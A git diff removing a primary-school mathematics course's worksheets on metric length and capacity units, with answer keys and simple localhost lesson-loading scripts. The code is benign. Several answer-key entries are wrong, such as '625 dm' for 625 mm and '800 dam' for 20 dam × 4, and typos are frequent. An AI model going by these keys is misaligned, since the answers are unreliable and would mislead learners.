- b) 1) 130 dm
- <br />
- 2) 1,700 dm
- <br />
- 3) 125 m
- <br />
- 4) 470 mm
- <br />
- 5) 0.21 dam
- <br />
- 6) 465 m
- <br />
- 7) 800 dam
- <br />
- 8) 500 dm
- <br />
- <br />
- c) the remain journey in kilometers = 8,740,000m - 2,650 m
- <br />
- = 8,737,350m = 8737.35km
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a02/description.py b/Save_Mathematics/P5/map511m09/map511m9a02/description.py
deleted file mode 100644
index ce00f81..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m9a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m09/map511m9a02/lesson.js b/Save_Mathematics/P5/map511m09/map511m9a02/lesson.js
deleted file mode 100644
index 48c6820..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m09/map511m9a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m09/map511m9a02/source.txt b/Save_Mathematics/P5/map511m09/map511m9a02/source.txt
deleted file mode 100644
index cd7a169..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a02/source.txt
+++ /dev/null
@@ -1,68 +0,0 @@
-<p>
- a) convert the following units in other units required
- <br />
- <br />
- 1) 15 km =................dam .............dm
- <br />
- 2) 21 m = ................. dm ..............mm
- <br />
- 3) 625 mm = ............dm ..............dam
- <br />
- <br />
- b) calculate the following units
- <br />
- <br />
- 1) 3m + 10m = ............ dm
- <br />
- 2) 15dam + 20m = .............. dm
- <br />
- 3) 100dm + 115m = .............. m
- <br />
- 4) 5dm - 3cm = .............. mm
- <br />
- 5) 28dm - 7dm = ............. dam
- <br />
- 6) 0.5km - 3.5dam = ........... m
- <br />
- 7) 20dam &times; 4 = ................ m
- <br />
- 8) 250m &divide; 5 = ..................dm
- <br />
- <br />
- c) journalist covered 2,650 meters from the 8,740 kilometers journey they had to cover.
- <br />
- calculate the remaining journey in kilometers
- <br />
- <br />
- <span style="text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- a) 1) 1500 dam = 150,000 dm
- <br />
- 2) 210 dm = 21,000 mm
- <br />
- 3) 625 dm = 0.0625 dam
- <br />
- <br />
- b) 1) 130 dm
- <br />
- 2) 1,700 dm
- <br />
- 3) 125 m
- <br />
- 4) 470 mm
- <br />
- 5) 0.21 dam
- <br />
- 6) 465 m
- <br />
- 7) 800 dam
- <br />
- 8) 500 dm
- <br />
- <br />
- c) the remain journey in kilometers = 8,740,000m - 2,650 m
- <br />
- = 8,737,350m = 8737.35km
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a03/a.txt b/Save_Mathematics/P5/map511m09/map511m9a03/a.txt
deleted file mode 100644
index 25f7264..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a03/a.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-<p>
- a) convert the following units
- <br />
- <br />
- 1) 12 km = ............. m
- <br />
- 2) 25 m = .............. cm
- <br />
- 3) 17 cm = ............. dam
- <br />
- <br />
- b) calculate the following measures.
- <br />
- <br />
- 1) 24 m + 50 dm = ................ cm
- <br />
- 2) 14 dam + 30 m = .............. dm
- <br />
- 3) 8 hm + 20 dam = ............... m
- <br />
- 4) 23 m - 12 m = .................... hm
- <br />
- 5) 68 dam - 4 hm = ................ m
- <br />
- 6) 20 m &times; 100 = .................... mm
- <br />
- 7) 13 dam &times;3 = ..................... km
- <br />
- 8) 10000 dam : 2 = ................ cm
- <br />
- <br />
- c) A tax driver had a journey of 86 km to travel but his tax broke down when he had covered only 4,200m. How long was the remaning journey ?
- <br />
- d) the cyclists covered a distance of 340km and anather 232km. find the total distance covered in decimeters ?
- <br />
- e) A wife's stride is 86cm for a day. How many strides will she make to cover in a week ?
- <br />
- f) How many strings each 100 cm can be cut from a 4m string ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a03/description.py b/Save_Mathematics/P5/map511m09/map511m9a03/description.py
deleted file mode 100644
index 1324422..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m9a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m09/map511m9a03/lesson.js b/Save_Mathematics/P5/map511m09/map511m9a03/lesson.js
deleted file mode 100644
index 4752c07..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m09/map511m9a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m09/map511m9a03/source.txt b/Save_Mathematics/P5/map511m09/map511m9a03/source.txt
deleted file mode 100644
index 25f7264..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a03/source.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-<p>
- a) convert the following units
- <br />
- <br />
- 1) 12 km = ............. m
- <br />
- 2) 25 m = .............. cm
- <br />
- 3) 17 cm = ............. dam
- <br />
- <br />
- b) calculate the following measures.
- <br />
- <br />
- 1) 24 m + 50 dm = ................ cm
- <br />
- 2) 14 dam + 30 m = .............. dm
- <br />
- 3) 8 hm + 20 dam = ............... m
- <br />
- 4) 23 m - 12 m = .................... hm
- <br />
- 5) 68 dam - 4 hm = ................ m
- <br />
- 6) 20 m &times; 100 = .................... mm
- <br />
- 7) 13 dam &times;3 = ..................... km
- <br />
- 8) 10000 dam : 2 = ................ cm
- <br />
- <br />
- c) A tax driver had a journey of 86 km to travel but his tax broke down when he had covered only 4,200m. How long was the remaning journey ?
- <br />
- d) the cyclists covered a distance of 340km and anather 232km. find the total distance covered in decimeters ?
- <br />
- e) A wife's stride is 86cm for a day. How many strides will she make to cover in a week ?
- <br />
- f) How many strings each 100 cm can be cut from a 4m string ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a04/a.txt b/Save_Mathematics/P5/map511m09/map511m9a04/a.txt
deleted file mode 100644
index 594580d..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a04/a.txt
+++ /dev/null
@@ -1,129 +0,0 @@
-<p>
- d) the cyclists covered a distance of 340km and anather 232km . find the total distance covered in decimeters.
- <br />
- <br />
- e) A wife's stride is 86cm for .How many strides will she make to cover in a week ?
- <br />
- <br />
- f) How many strings each 100cm can be cut from a 4m tring ?
- <br />
- <br />
- <br />
- 1) complete the table:
- <br />
- <br />
- <br />
-</p>
-<table style="width: 564px; height: 90px;" border="1">
- <tbody>
-  <tr>
-   <td width="10%" valign="top">
-    Number of mm
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    1o
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    64
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    232
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    160
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    14
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    Number of cm
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    4.2
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    16.4
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    50
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    77
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 2) calculate the following measures:
- <br />
- <br />
- a)14 dam + 20 m = ................... dm
- <br />
- <br />
- b) 32 hm + 14 dam = ................. m
- <br />
- <br />
- c) 86 m - 12 dm = ...................m
- <br />
- <br />
- d) 144 dm - 12 m = .................. cm
- <br />
- <br />
- e) 17 km &times; 2 = ...................... dam
- <br />
- <br />
- f) 160 m : 4 = ....................... dam
- <br />
- <br />
- 3) the distance between two industries along a rood is 60m.there are 180 distance between.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a04/description.py b/Save_Mathematics/P5/map511m09/map511m9a04/description.py
deleted file mode 100644
index 2e1ce92..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m9a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m09/map511m9a04/lesson.js b/Save_Mathematics/P5/map511m09/map511m9a04/lesson.js
deleted file mode 100644
index 12d8a0a..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m09/map511m9a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m09/map511m9a04/source.txt b/Save_Mathematics/P5/map511m09/map511m9a04/source.txt
deleted file mode 100644
index 594580d..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a04/source.txt
+++ /dev/null
@@ -1,129 +0,0 @@
-<p>
- d) the cyclists covered a distance of 340km and anather 232km . find the total distance covered in decimeters.
- <br />
- <br />
- e) A wife's stride is 86cm for .How many strides will she make to cover in a week ?
- <br />
- <br />
- f) How many strings each 100cm can be cut from a 4m tring ?
- <br />
- <br />
- <br />
- 1) complete the table:
- <br />
- <br />
- <br />
-</p>
-<table style="width: 564px; height: 90px;" border="1">
- <tbody>
-  <tr>
-   <td width="10%" valign="top">
-    Number of mm
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    1o
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    64
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    232
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    160
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    14
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    Number of cm
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    4.2
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    16.4
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    50
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    77
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 2) calculate the following measures:
- <br />
- <br />
- a)14 dam + 20 m = ................... dm
- <br />
- <br />
- b) 32 hm + 14 dam = ................. m
- <br />
- <br />
- c) 86 m - 12 dm = ...................m
- <br />
- <br />
- d) 144 dm - 12 m = .................. cm
- <br />
- <br />
- e) 17 km &times; 2 = ...................... dam
- <br />
- <br />
- f) 160 m : 4 = ....................... dam
- <br />
- <br />
- 3) the distance between two industries along a rood is 60m.there are 180 distance between.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a05/a.txt b/Save_Mathematics/P5/map511m09/map511m9a05/a.txt
deleted file mode 100644
index ff9b3e0..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a05/a.txt
+++ /dev/null
@@ -1,34 +0,0 @@
-<p>
- 1) convert the following units
- <br />
- <br />
- a) 3 km = ................. dam .............. cm
- <br />
- <br />
- b) 10 dam = .............. hm ............... km
- <br />
- <br />
- c) 24 m = ...................... dm ............ mm
- <br />
- <br />
- d) 5 cm = ...................... dm ............. m
- <br />
- <br />
- <br />
- 2) calculate the following operations
- <br />
- <br />
- a) 16 m + 24 dam = ............. dm
- <br />
- <br />
- b) 25 dam - 4 m = .................. dm
- <br />
- <br />
- c) 45 m &times; 13 = ...................... cm
- <br />
- <br />
- d) 100 cm : 24 = .................. m
- <br />
- <br />
- 3) the distance from Rwamagana to Gasabo ditrict is 62km. and from Gasabo to Rulindo district it is 20km. find the total distance from Rwamagana to Rulindo district in decimeters.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a05/description.py b/Save_Mathematics/P5/map511m09/map511m9a05/description.py
deleted file mode 100644
index 7664874..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m9a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m09/map511m9a05/lesson.js b/Save_Mathematics/P5/map511m09/map511m9a05/lesson.js
deleted file mode 100644
index 3eb1e98..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m09/map511m9a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m09/map511m9a05/source.txt b/Save_Mathematics/P5/map511m09/map511m9a05/source.txt
deleted file mode 100644
index ff9b3e0..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a05/source.txt
+++ /dev/null
@@ -1,34 +0,0 @@
-<p>
- 1) convert the following units
- <br />
- <br />
- a) 3 km = ................. dam .............. cm
- <br />
- <br />
- b) 10 dam = .............. hm ............... km
- <br />
- <br />
- c) 24 m = ...................... dm ............ mm
- <br />
- <br />
- d) 5 cm = ...................... dm ............. m
- <br />
- <br />
- <br />
- 2) calculate the following operations
- <br />
- <br />
- a) 16 m + 24 dam = ............. dm
- <br />
- <br />
- b) 25 dam - 4 m = .................. dm
- <br />
- <br />
- c) 45 m &times; 13 = ...................... cm
- <br />
- <br />
- d) 100 cm : 24 = .................. m
- <br />
- <br />
- 3) the distance from Rwamagana to Gasabo ditrict is 62km. and from Gasabo to Rulindo district it is 20km. find the total distance from Rwamagana to Rulindo district in decimeters.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a06/a.txt b/Save_Mathematics/P5/map511m09/map511m9a06/a.txt
deleted file mode 100644
index 76dd5b5..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a06/a.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-<p>
- 1) the distance from Remera town through kacyiru town to Nyabugogo town is 16km. If kacyiru town is 12km from Remera town. Find the distance in meters between kacyiru town and Nyabugogo town.
- <br />
- <br />
- 2) A scooter wheel covers a distance of 210cm in one revolution.What distance in km will it cover if it makes 400 revolutions.
- <br />
- <br />
- 3) calculate the following measures.
- <br />
- <br />
- a) 18 hm + 20 dam = .................... cm
- <br />
- <br />
- b) 60 m - 15 dm = ..................... dm
- <br />
- <br />
- c) 72 cm &times; 5 = ........................ mm
- <br />
- <br />
- d) 174 mm : 2 = .................... dm
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a06/description.py b/Save_Mathematics/P5/map511m09/map511m9a06/description.py
deleted file mode 100644
index a88d777..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m9a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m09/map511m9a06/lesson.js b/Save_Mathematics/P5/map511m09/map511m9a06/lesson.js
deleted file mode 100644
index 5ea106b..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m09/map511m9a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m09/map511m9a06/source.txt b/Save_Mathematics/P5/map511m09/map511m9a06/source.txt
deleted file mode 100644
index 76dd5b5..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a06/source.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-<p>
- 1) the distance from Remera town through kacyiru town to Nyabugogo town is 16km. If kacyiru town is 12km from Remera town. Find the distance in meters between kacyiru town and Nyabugogo town.
- <br />
- <br />
- 2) A scooter wheel covers a distance of 210cm in one revolution.What distance in km will it cover if it makes 400 revolutions.
- <br />
- <br />
- 3) calculate the following measures.
- <br />
- <br />
- a) 18 hm + 20 dam = .................... cm
- <br />
- <br />
- b) 60 m - 15 dm = ..................... dm
- <br />
- <br />
- c) 72 cm &times; 5 = ........................ mm
- <br />
- <br />
- d) 174 mm : 2 = .................... dm
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/activities.js b/Save_Mathematics/P5/map511m10/activities.js
deleted file mode 100755
index c562200..0000000
--- a/Save_Mathematics/P5/map511m10/activities.js
+++ /dev/null
@@ -1,9 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m10a01','blue'],
-['2','2','map5','basic','map511m10a02','blue'],
-['3','3','map5','basic','map511m10a03','blue'],
-['4','4','map5','basic','map511m10a04','blue'],
-['5','5','map5','basic','map511m10a05','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m10/map511m10a01/a.txt b/Save_Mathematics/P5/map511m10/map511m10a01/a.txt
deleted file mode 100644
index 4d5e84c..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a01/a.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- Introduction
-</p>
-<p>
- The pupils can understand and solving the problems wherever the measurements of capacity are used to measure the quantities of liquid like water, alcohol and lemonade.
- <br />
- <br />
- <br />
- Example: * 10 liters of petrol
- <br />
- * 5 dal of kerosene
- <br />
- * 20 hl of alcohol
- <br />
- * 20 dl of porridge
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  A table
- </span>
- <br style="text-decoration: underline;" />
- <br style="text-decoration: underline;" />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    kl
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    hl
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dal
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    l
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dl
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    cl
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ml
-   </td>
-  </tr>
- </tbody>
-</table>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/map511m10a01/description.py b/Save_Mathematics/P5/map511m10/map511m10a01/description.py
deleted file mode 100644
index 991d1c9..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m10a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m10/map511m10a01/lesson.js b/Save_Mathematics/P5/map511m10/map511m10a01/lesson.js
deleted file mode 100644
index 44cf05b..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m10/map511m10a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m10/map511m10a01/source.txt b/Save_Mathematics/P5/map511m10/map511m10a01/source.txt
deleted file mode 100644
index 4d5e84c..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a01/source.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- Introduction
-</p>
-<p>
- The pupils can understand and solving the problems wherever the measurements of capacity are used to measure the quantities of liquid like water, alcohol and lemonade.
- <br />
- <br />
- <br />
- Example: * 10 liters of petrol
- <br />
- * 5 dal of kerosene
- <br />
- * 20 hl of alcohol
- <br />
- * 20 dl of porridge
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  A table
- </span>
- <br style="text-decoration: underline;" />
- <br style="text-decoration: underline;" />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    kl
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    hl
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dal
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    l
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dl
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    cl
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ml
-   </td>
-  </tr>
- </tbody>
-</table>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/map511m10a02/a.txt b/Save_Mathematics/P5/map511m10/map511m10a02/a.txt
deleted file mode 100644
index ff0a907..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a02/a.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- Guided Practice
-</p>
-<p>
- 1) convert the following measure :
- <br />
- <br />
- a) 40 hl = 4000 l = 400000 cl
- <br />
- <br />
- b) 34 kl = 34000 l = 340000 dl
- <br />
- <br />
- c) 174 l = 17.4 dal = 1.74 hl
- <br />
- <br />
- 2)calculate the following operations
- <br />
- <br />
- a) 12 l + 15 dl = 1350 cl
- <br />
- <br />
- b) 9 hl - 36 l = 864 l
- <br />
- <br />
- c) 42 dal * 4 = 16800 dl
- <br />
- <br />
- d) 20 dl : 4 = o.o5 dal
- <br />
- <br />
- 3) How many 240ml containers can be filled from 72 liters of water ?
- <br />
- 240ml = 0.240l
- <br />
- <br />
- number of 0.240 l = 72 l : 0.24 l
- <br />
- = 7200 l : 24 l = 300 lontainers
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/map511m10a02/description.py b/Save_Mathematics/P5/map511m10/map511m10a02/description.py
deleted file mode 100644
index 4aaece0..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m10a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m10/map511m10a02/lesson.js b/Save_Mathematics/P5/map511m10/map511m10a02/lesson.js
deleted file mode 100644
index eda2af4..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m10/map511m10a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m10/map511m10a02/source.txt b/Save_Mathematics/P5/map511m10/map511m10a02/source.txt
deleted file mode 100644
index ff0a907..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a02/source.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- Guided Practice
-</p>
-<p>
- 1) convert the following measure :
- <br />
- <br />
- a) 40 hl = 4000 l = 400000 cl
- <br />
- <br />
- b) 34 kl = 34000 l = 340000 dl
- <br />
- <br />
- c) 174 l = 17.4 dal = 1.74 hl
- <br />
- <br />
- 2)calculate the following operations
- <br />
- <br />
- a) 12 l + 15 dl = 1350 cl
- <br />
- <br />
- b) 9 hl - 36 l = 864 l
- <br />
- <br />
- c) 42 dal * 4 = 16800 dl
- <br />
- <br />
- d) 20 dl : 4 = o.o5 dal
- <br />
- <br />
- 3) How many 240ml containers can be filled from 72 liters of water ?
- <br />
- 240ml = 0.240l
- <br />
- <br />
- number of 0.240 l = 72 l : 0.24 l
- <br />
- = 7200 l : 24 l = 300 lontainers
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/map511m10a03/a.txt b/Save_Mathematics/P5/map511m10/map511m10a03/a.txt
deleted file mode 100644
index 4c56261..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a03/a.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- Independent Practice
-</p>
-<p>
- 1) Share 8 dal 68 dl of tea equally amang 4 learners.
- <br />
- What does each get ?
- <br />
- <br />
- 2) How many bottles each 250 dl can be filled from a container of
- <br />
- fuel halding 4 liters ?
- <br />
- <br />
- 3) A family uses 800 l of water in 6 days.
- <br />
- Woh many centiliters does it use daily?
- <br />
- <br />
- 4) How many 0.5 liters of bottles can be filled from
- <br />
- 30liters of juice ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/map511m10a03/description.py b/Save_Mathematics/P5/map511m10/map511m10a03/description.py
deleted file mode 100644
index 8006ab2..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m10a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m10/map511m10a03/lesson.js b/Save_Mathematics/P5/map511m10/map511m10a03/lesson.js
deleted file mode 100644
index 5e80d7f..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m10/map511m10a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m10/map511m10a03/source.txt b/Save_Mathematics/P5/map511m10/map511m10a03/source.txt
deleted file mode 100644
index 4c56261..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a03/source.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- Independent Practice
-</p>
-<p>
- 1) Share 8 dal 68 dl of tea equally amang 4 learners.
- <br />
- What does each get ?
- <br />
- <br />
- 2) How many bottles each 250 dl can be filled from a container of
- <br />
- fuel halding 4 liters ?
- <br />
- <br />
- 3) A family uses 800 l of water in 6 days.
- <br />
- Woh many centiliters does it use daily?
- <br />
- <br />
- 4) How many 0.5 liters of bottles can be filled from
- <br />
- 30liters of juice ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/map511m10a04/a.txt b/Save_Mathematics/P5/map511m10/map511m10a04/a.txt
deleted file mode 100644
index 784beba..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a04/a.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-<p>
- Evaluation
-</p>
-<p>
- 1) A top pours 35 liters of water per minute .How many mililiters does
- <br />
- it pours in 60 minutes ?
- <br />
- <br />
- 2) A hotel uses 350 liters of oil for cooking every manch.How much cooking oil in ml
- <br />
- does it use in 4 months ?
- <br />
- <br />
- 3) Multiply 38 l 42cl * 6 = .................... hl
- <br />
- <br />
- 4) Kagugu school uses 1400 l of water in a week .
- <br />
- How many liters does it use daily ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/map511m10a04/description.py b/Save_Mathematics/P5/map511m10/map511m10a04/description.py
deleted file mode 100644
index 63a5168..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m10a04',week=0)
-
-
-java_script('lesson.js')
-
